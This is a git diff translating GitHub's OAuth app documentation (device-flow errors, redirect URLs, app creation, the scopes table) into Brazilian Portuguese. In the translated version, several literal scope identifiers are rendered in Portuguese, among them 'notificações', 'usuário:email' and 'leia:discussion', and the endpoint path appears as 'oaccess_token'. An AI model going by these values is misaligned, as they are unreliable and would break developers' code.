-| `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The `client_secret` is not needed for the device flow.
-| `incorrect_device_code` | The device_code provided is not valid.
-| `access_denied` | When a user clicks cancel during the authorization process, you'll receive a `access_denied` error and the user won't be able to use the verification code again.
+| Código do erro                 | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| ------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `authorization_pending`        | Este erro ocorre quando a solicitação de autorização está pendente e o usuário ainda não inseriu o código do usuário. Espera-se que o aplicativo continue fazendo a sondagem da solicitação `POST {% data variables.product.oauth_host_code %}/login/oauth/oaccess_token` sem exceder o [`intervalo`](#response-parameters), que exige um número mínimo de segundos entre cada solicitação.                                                                                                                                                                                |
+| `slow_down`                    | Ao receber o erro `slow_down`, são adicionados 5 segundos extras ao intervalo mínimo `` ou período de tempo necessário entre as suas solicitações usando `POST {% data variables.product.oauth_host_code %}/login/oauth/oaccess_token`. Por exemplo, se o intervalo inicial for necessário pelo menos 5 segundos entre as solicitações e você receber uma resposta de erro de `slow_down`, você deverá aguardar pelo menos 10 segundos antes de fazer uma nova solicitação para um token de acesso OAuth. A resposta de erro inclui o novo `intervalo` que você deve usar. |
+| `expired_token`                | Se o código do dispositivo expirou, você verá o erro `token_expired`. Você deve fazer uma nova solicitação para um código de dispositivo.                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| `unsupported_grant_type`       | O tipo de concessão deve ser `urn:ietf:params:oauth:grant-type:device_code` e incluído como um parâmetro de entrada quando você faz a sondagem da solicitação do token do OAuth `POST {% data variables.product.oauth_host_code %}/login/oauth/oaccess_token`.                                                                                                                                                                                                                                                                                                             |
+| `incorrect_client_credentials` | Para o fluxo do dispositivo, você deve passar o ID de cliente do aplicativo, que pode ser encontrado na página de configurações do aplicativo. O `client_secret` não é necessário para o fluxo do dispositivo.                                                                                                                                                                                                                                                                                                                                                             |
+| `incorrect_device_code`        | O device_code fornecido não é válido.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| `access_denied`                | Quando um usuário clica em cancelar durante o processo de autorização, você receberá uma mensagem de erro de `access_denied` e o usuário não poderá usar o código de verificação novamente.                                                                                                                                                                                                                                                                                                                                                                                |
 
-For more information, see the "[OAuth 2.0 Device Authorization Grant](https://tools.ietf.org/html/rfc8628#section-3.5)."
+Para obter mais informações, consulte "[Concessão de Autorização do Dispositivo OAuth 2.0](https://tools.ietf.org/html/rfc8628#section-3.5)".
 
 {% endif %}
 
-## Non-Web application flow
+## Fluxo do aplicativo que não são da web
 
-Non-web authentication is available for limited situations like testing. If you need to, you can use [Basic Authentication](/rest/overview/other-authentication-methods#basic-authentication) to create a personal access token using your [Personal access tokens settings page](/articles/creating-an-access-token-for-command-line-use). This technique enables the user to revoke access at any time.
+A autenticação que não é da web está disponível para situações limitadas como testes. Se necessário, você pode usar a [autenticação básica](/rest/overview/other-authentication-methods#basic-authentication) para criar um token de acesso usando a sua [página pessoal de configurações de tokens de acesso](/articles/creating-an-access-token-for-command-line-use). Essa técnica permite ao usuário revogar o acesso a qualquer momento.
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** When using the non-web application flow to create an OAuth2 token, make sure to understand how to [work with
-two-factor authentication](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) if
-you or your users have two-factor authentication enabled.
+**Observação:** Quando usar o fluxo do aplicativo que não é web para criar um token do OAuth2, certifique-se de entender como [trabalhar com a autenticação de dois fatores](/rest/overview/other-authentication-methods#working-with-two-factor-authentication) se você ou seus usuários tiverem a autenticação de dois fatores habilitada.
 
 {% endnote %}
 {% endif %}
 
-## Redirect URLs
+## URLs de redirecionamento
 
-The `redirect_uri` parameter is optional. If left out, GitHub will
-redirect users to the callback URL configured in the OAuth Application
-settings. If provided, the redirect URL's host and port must exactly
-match the callback URL. The redirect URL's path must reference a
-subdirectory of the callback URL.
-
-    CALLBACK: http://example.com/path
+O parâmetro `redirect_uri` é opcional. Se ignorado, o GitHub redirecionará os usuários para a URL de retorno de chamada definida nas configurações do aplicativo OAuth. Se fornecido, o host e porta do URL de redirecionamento deve exatamente corresponder à URL de retorno de chamada. O caminho da URL de redirecionamento deve fazer referência uma subpasta da URL de retorno de chamada.
 
+    RETORNO DE CHAMADA: http://example.com/path
+    
     GOOD: http://example.com/path
     GOOD: http://example.com/path/subdir/other
     BAD:  http://example.com/bar
@@ -294,31 +289,31 @@ subdirectory of the callback URL.
     BAD:  http://oauth.example.com:8080/path
     BAD:  http://example.org
 
-### Localhost redirect urls
+### URLs de redirecionamento do Localhost
 
-The optional `redirect_uri` parameter can also be used for localhost URLs. If the application specifies a localhost URL and a port, then after authorizing the application users will be redirected to the provided URL and port. The `redirect_uri` does not need to match the port specified in the callback url for the app.
+O parâmetro opcional `redirect_uri` também pode ser usado para URLs do localhhost. Se o aplicativo especificar uma URL do localhost e uma porta, após a autorização, os usuários do aplicativo serão redirecionados para a URL e porta fornecidas. O `redirect_uri` não precisa corresponder à porta especificada na URL de retorno de chamada do aplicativo.
 
-For the `http://localhost/path` callback URL, you can use this `redirect_uri`:
+Para a URL de retorno de chamada `http://localhost/path`, você poderá usar este `redirect_uri`:
 
 ```
 http://localhost:1234/path
 ```
 
-## Creating multiple tokens for OAuth Apps
+## Criar vários tokens para aplicativos OAuth
 
-You can create multiple tokens for a user/application/scope combination to create tokens for specific use cases.
+Você pode criar vários tokens para uma combinação de usuário/aplicativo/escopo para criar tokens para casos de uso específicos.
 
-This is useful if your OAuth App supports one workflow that uses GitHub for sign-in and only requires basic user information. Another workflow may require access to a user's private repositories. Using multiple tokens, your OAuth App can perform the web flow for each use case, requesting only the scopes needed. If a user only uses your application to sign in, they are never required to grant your OAuth App access to their private repositories.
+Isso é útil se o seu aplicativo OAuth for compatível com um fluxo de trabalho que usa o GitHub para iniciar sessão e exigir apenas informações básicas do usuário. Outro fluxo de trabalho pode exigir acesso aos repositórios privados de um usuário. Ao usar vários tokens, o seu aplicativo OAuth pode realizar o fluxo web para cada caso, solicitando apenas os escopos necessários. Se um usuário usar apenas seu aplicativo para iniciar a sessão, ele nunca será obrigado a conceder acesso do aplicativo OAuth aos seus repositórios privados.
 
 {% data reusables.apps.oauth-token-limit %}
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-## Directing users to review their access
+## Direcionar os usuários para revisar seus acessos
 
-You can link to authorization information for an OAuth App so that users can review and revoke their application authorizations.
+Você pode vincular informações sobre a autorização de um aplicativo OAuth para que os usuários possam revisar e revogar as autorizações do seu aplicativo.
 
-To build this link, you'll need your OAuth Apps `client_id` that you received from GitHub when you registered the application.
+Para criar esse vínculo, você precisará do `client_id` dos aplicativos OAuth, que você recebeu do GitHub quando fez o cadastro no aplicativo.
 
 ```
 {% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id
@@ -326,17 +321,17 @@ To build this link, you'll need your OAuth Apps `client_id` that you received fr
 
 {% tip %}
 
-**Tip:** To learn more about the resources that your OAuth App can access for a user, see "[Discovering resources for a user](/rest/guides/discovering-resources-for-a-user)."
+**Dica:** Para saber mais sobre os recursos que seu aplicativo OAuth pode acessar para um usuário, consulte "[Descobrindo recursos para um usuário](/rest/guides/discovering-resources-for-a-user). "
 
 {% endtip %}
 
-## Troubleshooting
+## Solução de Problemas
 
-* "[Troubleshooting authorization request errors](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)"
-* "[Troubleshooting OAuth App access token request errors](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)"
-{% ifversion fpt or ghae or ghes > 3.0 or ghec %}* "[Device flow errors](#error-codes-for-the-device-flow)"{% endif %}{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
-* "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
+* "[Solucionando erros de solicitação de autorização](/apps/managing-oauth-apps/troubleshooting-authorization-request-errors)"
+* "[Solucionando erros na requisição de token de acesso do aplicativo OAuth](/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors)"
+{% ifversion fpt or ghae or ghes > 3.0 or ghec %}* "[Erros do fluxo do aplicativo](#error-codes-for-the-device-flow)"{% endif %}{% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %}
+* "[Vencimento e revogação do Token](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"{% endif %}
 
-## Further reading
+## Leia mais
 
-- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)"
+- "[Sobre a autenticação em {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)"
diff --git a/translations/pt-BR/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md b/translations/pt-BR/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
index a080cbc4da..bc6aac3edc 100644
--- a/translations/pt-BR/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
+++ b/translations/pt-BR/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md
@@ -1,5 +1,5 @@
 ---
-title: Creating an OAuth App
+title: Criar um aplicativo OAuth
 intro: '{% data reusables.shortdesc.creating_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps
@@ -13,10 +13,11 @@ versions:
 topics:
   - OAuth Apps
 ---
+
 {% ifversion fpt or ghec %}
 {% note %}
 
-  **Note:** {% data reusables.apps.maximum-oauth-apps-allowed %}
+  **Observação:** {% data reusables.apps.maximum-oauth-apps-allowed %}
 
 {% endnote %}
 {% endif %}
@@ -24,35 +25,29 @@ topics:
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.oauth_apps %}
-4. Click **New OAuth App**.
-![Button to create a new OAuth app](/assets/images/oauth-apps/oauth_apps_new_app.png)
+4. Clique em **Novo aplicativo OAuth**. ![Botão para criar um novo aplicativo OAuth](/assets/images/oauth-apps/oauth_apps_new_app.png)
 
   {% note %}
 
-  **Note:** If you haven't created an app before, this button will say, **Register a new application**.
+  **Observação:** Se você não criou um aplicativo antes, este botão informará: **Registre um novo aplicativo**.
 
   {% endnote %}
-6. In "Application name", type the name of your app.
-![Field for the name of your app](/assets/images/oauth-apps/oauth_apps_application_name.png)
+6. Em "Nome do aplicativo", digite o nome do seu aplicativo. ![Campo para o nome do seu aplicativo](/assets/images/oauth-apps/oauth_apps_application_name.png)
 
   {% warning %}
 
-  **Warning:**  Only use information in your OAuth app that you consider public. Avoid using sensitive data, such as internal URLs, when creating an OAuth App.
+  **Aviso:**  Use apenas informações em seu aplicativo OAuth que você considera públicas. Ao criar um aplicativo OAuth, evite o uso de dados confidenciais, como, por exemplo, URLs internas.
 
   {% endwarning %}
 
-7. In "Homepage URL", type the full URL to your app's website.
-![Field for the homepage URL of your app](/assets/images/oauth-apps/oauth_apps_homepage_url.png)
-8. Optionally, in "Application description", type a description of your app that users will see.
-![Field for a description of your app](/assets/images/oauth-apps/oauth_apps_application_description.png)
-9. In "Authorization callback URL", type the callback URL of your app.
-![Field for the authorization callback URL of your app](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png)
+7. Em "URL da página inicial", digite a URL completa do site do seu aplicativo. ![Campo para a URL da página inicial de seu aplicativo](/assets/images/oauth-apps/oauth_apps_homepage_url.png)
+8. Opcionalmente, em "Descrição do aplicativo", digite uma descrição do seu aplicativo que os usuários irão ver. ![Campo para uma descrição do seu aplicativo](/assets/images/oauth-apps/oauth_apps_application_description.png)
+9. Em "URL de retorno de chamada de autorização", digite a URL de retorno de chamada do seu aplicativo. ![Campo para a URL de retorno de chamada de autorização do seu aplicativo](/assets/images/oauth-apps/oauth_apps_authorization_callback_url.png)
 {% ifversion fpt or ghes > 3.0 or ghec %}
    {% note %}
 
-   **Note:** OAuth Apps cannot have multiple callback URLs, unlike {% data variables.product.prodname_github_apps %}.
+   **Observação:** Os aplicativos OAuth não podem ter várias URLs de retorno de chamada, diferente de {% data variables.product.prodname_github_apps %}.
 
    {% endnote %}
 {% endif %}
-10. Click **Register application**.
-![Button to register an application](/assets/images/oauth-apps/oauth_apps_register_application.png)
+10. Clique em **Register application** (Registrar aplicativo). ![Botão para registrar um aplicativo](/assets/images/oauth-apps/oauth_apps_register_application.png)
diff --git a/translations/pt-BR/content/developers/apps/building-oauth-apps/index.md b/translations/pt-BR/content/developers/apps/building-oauth-apps/index.md
index 69a5c827a2..2808b99041 100644
--- a/translations/pt-BR/content/developers/apps/building-oauth-apps/index.md
+++ b/translations/pt-BR/content/developers/apps/building-oauth-apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Building OAuth Apps
-intro: You can build OAuth Apps for yourself or others to use. Learn how to register and set up permissions and authorization options for OAuth Apps.
+title: Criar aplicativos OAuth
+intro: Você pode criar aplicativos OAuth para você mesmo ou para outros usarem. Saiba como se registrar e configurar permissões e opções de autorização para os aplicativos OAuth.
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps
   - /apps/building-oauth-apps
diff --git a/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
index 8471eadaa4..51ea4e4054 100644
--- a/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
+++ b/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Scopes for OAuth Apps
+title: Escopos para aplicativos OAuth
 intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps
@@ -14,17 +14,18 @@ versions:
 topics:
   - OAuth Apps
 ---
-When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form.
+
+Ao configurar um aplicativo OAuth no GitHub, os escopos solicitados são exibidos para o usuário no formulário de autorização.
 
 {% note %}
 
-**Note:** If you're building a GitHub App, you don’t need to provide scopes in your authorization request. For more on this, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+**Observação:** Se você está criando um aplicativo no GitHub, você não precisa fornecer escopos na sua solicitação de autorização. Para obter mais informações sobre isso, consulte "[Identificar e autorizar usuários para aplicativos GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
 {% endnote %}
 
-If your {% data variables.product.prodname_oauth_app %} doesn't have access to a browser, such as a CLI tool, then you don't need to specify a scope for users to authenticate to your app. For more information, see "[Authorizing OAuth apps](/developers/apps/authorizing-oauth-apps#device-flow)."
+Se seu {% data variables.product.prodname_oauth_app %} não tiver acesso a um navegador, como uma ferramenta de CLI, você não precisará especificar um escopo para que os usuários efetuem a autenticação no seu aplicativo. Para obter mais informações, consulte "[Autorizar aplicativos OAuth](/developers/apps/authorizing-oauth-apps#device-flow)".
 
-Check headers to see what OAuth scopes you have, and what the API action accepts:
+Verifique os cabeçalhos para ver quais escopos do OAuth você tem e o que a ação da API aceita:
 
 ```shell
 $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/users/codertocat -I
@@ -33,54 +34,53 @@ X-OAuth-Scopes: repo, user
 X-Accepted-OAuth-Scopes: user
 ```
 
-* `X-OAuth-Scopes` lists the scopes your token has authorized.
-* `X-Accepted-OAuth-Scopes` lists the scopes that the action checks for.
+* `X-OAuth-Scopes` lista o escopo que seu token autorizou.
+* `X-Accepted-OAuth-Scopes` lista os escopos verificados pela ação.
 
-## Available scopes
+## Escopos disponíveis
 
-Name | Description
------|-----------|{% ifversion not ghae %}
-**`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %}
-**`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %}
-**`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects.
-&emsp;`repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code.
-&emsp;`repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %}
-&emsp;`public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %}
-&emsp;`repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %}
-&emsp;`security_events` | Grants: <br/> read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) <br/> read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning) <br/> This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %}
-&emsp;`security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}
-**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks.
-&emsp;`write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-&emsp;`read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.
-**`admin:org`** | Fully manage the organization and its teams, projects, and memberships.
-&emsp;`write:org`| Read and write access to organization membership, organization projects, and team membership.
-&emsp;`read:org`| Read-only access to organization membership, organization projects, and team membership.
-**`admin:public_key`** | Fully manage public keys.
-&emsp;`write:public_key`| Create, list, and view details for public keys.
-&emsp;`read:public_key`| List and view details for public keys.
-**`admin:org_hook`** | Grants read, write, ping, and delete access to organization hooks. **Note:** OAuth tokens will only be able to perform these actions on organization hooks which were created by the OAuth App. Personal access tokens will only be able to perform these actions on organization hooks created by a user.
-**`gist`** | Grants write access to gists.
-**`notifications`** | Grants: <br/>* read access to a user's notifications <br/>* mark as read access to threads <br/>* watch and unwatch access to a repository, and <br/>* read, write, and delete access to thread subscriptions.
-**`user`** | Grants read/write access to profile info only.  Note that this scope includes `user:email` and `user:follow`.
-&emsp;`read:user`| Grants access to read a user's profile data.
-&emsp;`user:email`| Grants read access to a user's email addresses.
-&emsp;`user:follow`| Grants access to follow or unfollow other users.
-**`delete_repo`** | Grants access to delete adminable repositories.
-**`write:discussion`** | Allows read and write access for team discussions.
-&emsp;`read:discussion` | Allows read access for team discussions.{% ifversion fpt or ghae or ghec %}
-**`write:packages`** | Grants access to upload or publish a package in {% data variables.product.prodname_registry %}. For more information, see "[Publishing a package](/github/managing-packages-with-github-packages/publishing-a-package)".
-**`read:packages`** | Grants access to download or install packages from {% data variables.product.prodname_registry %}. For more information, see "[Installing a package](/github/managing-packages-with-github-packages/installing-a-package)".
-**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %}
-**`admin:gpg_key`** | Fully manage GPG keys.
-&emsp;`write:gpg_key`| Create, list, and view details for GPG keys.
-&emsp;`read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %}
-**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."
-**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %}
+| Nome                     | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion not ghae %}
+| **`(sem escopo)`**       | Concede acesso somente leitura a informações públicas (incluindo informações do perfil do usuário, informações do repositório e gists){% endif %}{% ifversion ghes or ghae %}
+| **`site_admin`**         | Concede acesso de administrador aos pontos de extremidades da API de administração [{% data variables.product.prodname_ghe_server %}](/rest/reference/enterprise-admin).{% endif %}
+| **`repo`**               | Concede acesso total aos repositórios, incluindo repositórios privados. Isso inclui acesso de leitura/gravação ao código, status do commit, repositório e projetos da organização, convites, colaboradores, adição de associações de equipe, status de implantação e webhooks de repositórios para repositórios e organizações. Também concede capacidade para gerenciar projetos de usuário.                                                                                                                                                                                         |
+| &emsp;`repo:status`      | Concede acesso de leitura/gravaçãopara fazer commit de status em {% ifversion fpt %}repositórios públicos, privados e internos{% elsif ghec or ghes %} privados e internos{% elsif ghae %}privados e internos{% endif %}. Esse escopo só é necessário para conceder a outros usuários ou serviços acesso a status de compromisso de repositórios privados *sem* conceder acesso ao código.                                                                                                                                                                                            |
+| &emsp;`repo_deployment`  | Concede acesso aos [status da implementação](/rest/reference/repos#deployments) para {% ifversion not ghae %}público{% else %}interno{% endif %} e repositórios privados. Este escopo só é necessário para conceder a outros usuários ou serviços acesso aos status de implantação, *sem* conceder acesso ao código.{% ifversion not ghae %}
+| &emsp;`public_repo`      | Limita o acesso a repositórios públicos. Isso inclui acesso de leitura/gravação em código, status de commit, projetos de repositório, colaboradores e status de implantação de repositórios e organizações públicos. Também é necessário para repositórios públicos marcados como favoritos.{% endif %}
+| &emsp;`repo:invite`      | Concede habilidades de aceitar/recusar convites para colaborar em um repositório. Este escopo só é necessário para conceder a outros usuários ou serviços acesso a convites *sem* conceder acesso ao código.{% ifversion fpt or ghes > 3.0 or ghec %}
+| &emsp;`security_events`  | Concede: <br/> acesso de leitura e gravação a eventos de segurança na [API de {% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning) <br/> acesso de leitura e gravação a eventos de segurança na [API de {% data variables.product.prodname_secret_scanning %}](/rest/reference/secret-scanning) <br/> Este escopo só é necessário para conceder acesso a outros usuários ou serviços a eventos de segurança *sem* conceder acesso ao código.{% endif %}{% ifversion ghes < 3.1 %}
+| &emsp;`security_events`  | Concede acesso de leitura e gravação a eventos de segurança na [API {% data variables.product.prodname_code_scanning %}](/rest/reference/code-scanning). Este escopo só é necessário para conceder a outros usuários ou serviços acesso a eventos de segurança *sem* conceder acesso ao código.{% endif %}
+| **`admin:repo_hook`**    | Concede acesso de leitura, gravação, fixação e exclusão aos hooks do repositório em {% ifversion fpt %}repositórios públicos, privados ou internos{% elsif ghec or ghes %}públicos, ou internos{% elsif ghae %}privados ou internos{% endif %}. O escopos do `repo` {% ifversion fpt or ghec or ghes %}e `public_repo` concedem{% else %}o escopo concede{% endif %} o acesso total aos repositórios, incluindo hooks de repositório. Use o escopo `admin:repo_hook` para limitar o acesso apenas a hooks de repositório.                                                             |
+| &emsp;`write:repo_hook`  | Concede acesso de leitura, gravação e fixação aos hooks em {% ifversion fpt %}repositórios públicos ou privados{% elsif ghec or ghes %}público, privado ou interno{% elsif ghae %}privado ou interno{% endif %}.                                                                                                                                                                                                                                                                                                                                                                      |
+| &emsp;`read:repo_hook`   | Concede acesso de leitura e fixação aos hooks em {% ifversion fpt %}repositórios públicos ou privados{% elsif ghec or ghes %}público, privado ou interno{% elsif ghae %}privado ou interno{% endif %}.                                                                                                                                                                                                                                                                                                                                                                                |
+| **`admin:org`**          | Gerencia totalmente a organização e suas equipes, projetos e associações.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| &emsp;`write:org`        | Acesso de leitura e gravação à associação da organização, aos projetos da organização e à associação da equipe.                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| &emsp;`read:org`         | Acesso somente leitura à associação da organização, aos projetos da organização e à associação da equipe.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| **`admin:public_key`**   | Gerenciar totalmente as chaves públicas.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| &emsp;`write:public_key` | Criar, listar e visualizar informações das chaves públicas.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| &emsp;`read:public_key`  | Listar e visualizar informações para as chaves públicas.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| **`admin:org_hook`**     | Concede acesso de leitura, gravação, ping e e exclusão de hooks da organização. **Observação:** Os tokens do OAuth só serão capazes de realizar essas ações nos hooks da organização que foram criados pelo aplicativo OAuth. Os tokens de acesso pessoal só poderão realizar essas ações nos hooks da organização criados por um usuário.                                                                                                                                                                                                                                            |
+| **`gist`**               | Concede acesso de gravação aos gists.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| **`notificações`**       | Condece: <br/>* acesso de gravação a notificações de um usuário <br/>* acesso para marcar como leitura nos threads <br/>* acesso para inspecionar e não inspecionar um repositório e <br/>* acesso de leitura, gravação e exclusão às assinaturas dos threads.                                                                                                                                                                                                                                                                                                |
+| **`usuário`**            | Concede acesso de leitura/gravação apenas às informações do perfil.  Observe que este escopo inclui `user:email` e `user:follow`.                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| &emsp;`read:user`        | Concede acesso para ler as informações do perfil de um usuário.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| &emsp;`usuário:email`    | Concede acesso de leitura aos endereços de e-mail de um usuário.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| &emsp;`user:follow`      | Concede acesso para seguir ou deixar de seguir outros usuários.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| **`delete_repo`**        | Concede acesso para excluir repositórios administráveis.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| **`write:discussion`**   | Permite acesso de leitura e gravação para discussões da equipe.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| &emsp;`leia:discussion`  | Permite acesso de leitura para discussões da equipe.{% ifversion fpt or ghae or ghec %}
+| **`write:packages`**     | Concede acesso ao para fazer o upload ou publicação de um pacote no {% data variables.product.prodname_registry %}. Para obter mais informações, consulte "[Publicar um pacote](/github/managing-packages-with-github-packages/publishing-a-package)".                                                                                                                                                                                                                                                                                                                                |
+| **`read:packages`**      | Concede acesso ao download ou instalação de pacotes do {% data variables.product.prodname_registry %}. Para obter mais informações, consulte "[Instalando um pacote](/github/managing-packages-with-github-packages/installing-a-package)".                                                                                                                                                                                                                                                                                                                                           |
+| **`delete:packages`**    | Concede acesso para excluir pacotes de {% data variables.product.prodname_registry %}. Para obter mais informações, consulte "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Excluir e restaurar um pacote](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Excluir um pacote](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %}
+| **`admin:gpg_key`**      | Gerenciar totalmente as chaves GPG.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| &emsp;`write:gpg_key`    | Criar, listar e visualizar informações das chaves GPG.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| &emsp;`read:gpg_key`     | Listar e visualizar informações das chaves GPG.{% ifversion fpt or ghec %}
+| **`codespace`**          | Concede a capacidade de criar e gerenciar codespaces. Os codespaces podem expor um GITHUB_TOKEN que pode ter um conjunto diferente de escopos. Para obter mais informações, consulte "[Segurança em codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)"{% endif %}
+| **`fluxo de trabalho`**  | Concede a capacidade de adicionar e atualizar arquivos do fluxo de trabalho do {% data variables.product.prodname_actions %}. Os arquivos do fluxo de trabalho podem ser confirmados sem este escopo se o mesmo arquivo (com o mesmo caminho e conteúdo) existir em outro branch no mesmo repositório. Os arquivos do fluxo de trabalho podem expor o `GITHUB_TOKEN` que pode ter um conjunto diferente de escopos. Para obter mais informações, consulte "[Autenticação em um fluxo de trabalho](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". |
 
 {% note %}
 
-**Note:** Your OAuth App can request the scopes in the initial redirection. You
-can specify multiple scopes by separating them with a space using `%20`:
+**Observação:** O seu aplicativo OAuth pode solicitar os escopos no redirecionamento inicial. Você pode especificar vários escopos separando-os com um espaço usando `%20`:
 
     https://github.com/login/oauth/authorize?
       client_id=...&
